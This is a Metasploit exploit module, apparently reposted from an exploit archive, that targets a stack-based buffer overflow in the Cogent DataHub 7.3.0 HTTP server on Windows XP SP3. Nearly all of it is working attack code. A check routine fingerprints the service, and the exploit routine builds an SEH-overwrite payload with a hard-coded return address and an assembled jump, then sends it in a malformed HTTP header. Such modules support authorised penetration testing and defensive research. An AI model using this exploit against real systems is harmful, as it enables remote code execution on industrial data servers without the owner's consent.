Cogent DataHub HTTP Server Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Cogent DataHub HTTP Server Buffer Overflow',  
'Description' => %q{  
This module exploits a stack based buffer overflow on Cogent DataHub 7.3.0. The  
vulnerability exists in the HTTP server - while handling HTTP headers, a  
strncpy() function is used in a dangerous way. This module has been tested  
successfully on Cogent DataHub 7.3.0 (Demo) on Windows XP SP3.  
},  
'Author' =>  
[  
'rgod <rgod[at]autistici.org>', # Vulnerability discovery  
'juan vazquez', # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'OSVDB', '95819'],  
[ 'BID', '53455'],  
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-178' ],  
[ 'URL', 'http://www.cogentdatahub.com/Info/130712_ZDI-CAN-1915_Response.html']  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 33692,  
'DisableNops' => true,  
'BadChars' => "\x00\x0d\x0a\x3a"  
},  
'Platform' => 'win',  
'Targets' =>  
[  
# Tested with the Cogent DataHub 7.3.0 Demo  
# CogentDataHubV7.exe 7.3.0.70  
['Windows XP SP3 English / Cogent DataHub 7.3.0',  
{  
'Ret' => 0x7ffc070e, # ppr # from NLS tables # Tested stable over Windows XP SP3 updates  
'Offset' => 33692,  
'CrashLength' => 4000 # In order to ensure crash before the stack cookie check  
}  
],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Jul 26 2013'  
))  
  
end  
  
def check  
res = send_request_cgi({  
'uri' => "/datahub.asp",  
'method' => 'GET',  
})  
  
if res and res.code == 200 and res.body =~ /<title>DataHub - Web Data Browser<\/title>/  
return Exploit::CheckCode::Detected  
end  
  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
print_status("Trying target #{target.name}...")  
  
off = target['Offset'] + 8 # 8 => length of the seh_record  
bof = payload.encoded  
bof << rand_text_alpha(target['Offset'] - payload.encoded.length)  
bof << generate_seh_record(target.ret)  
bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + off.to_s).encode_string  
bof << rand_text(target['CrashLength'])  
  
print_status("Sending request to #{rhost}:#{rport}")  
  
send_request_cgi({  
'uri' => "/",  
'method' => 'GET',  
'raw_headers' => "#{bof}: #{rand_text_alpha(20 + rand(20))}\r\n"  
})  
  
end  
end  
  
`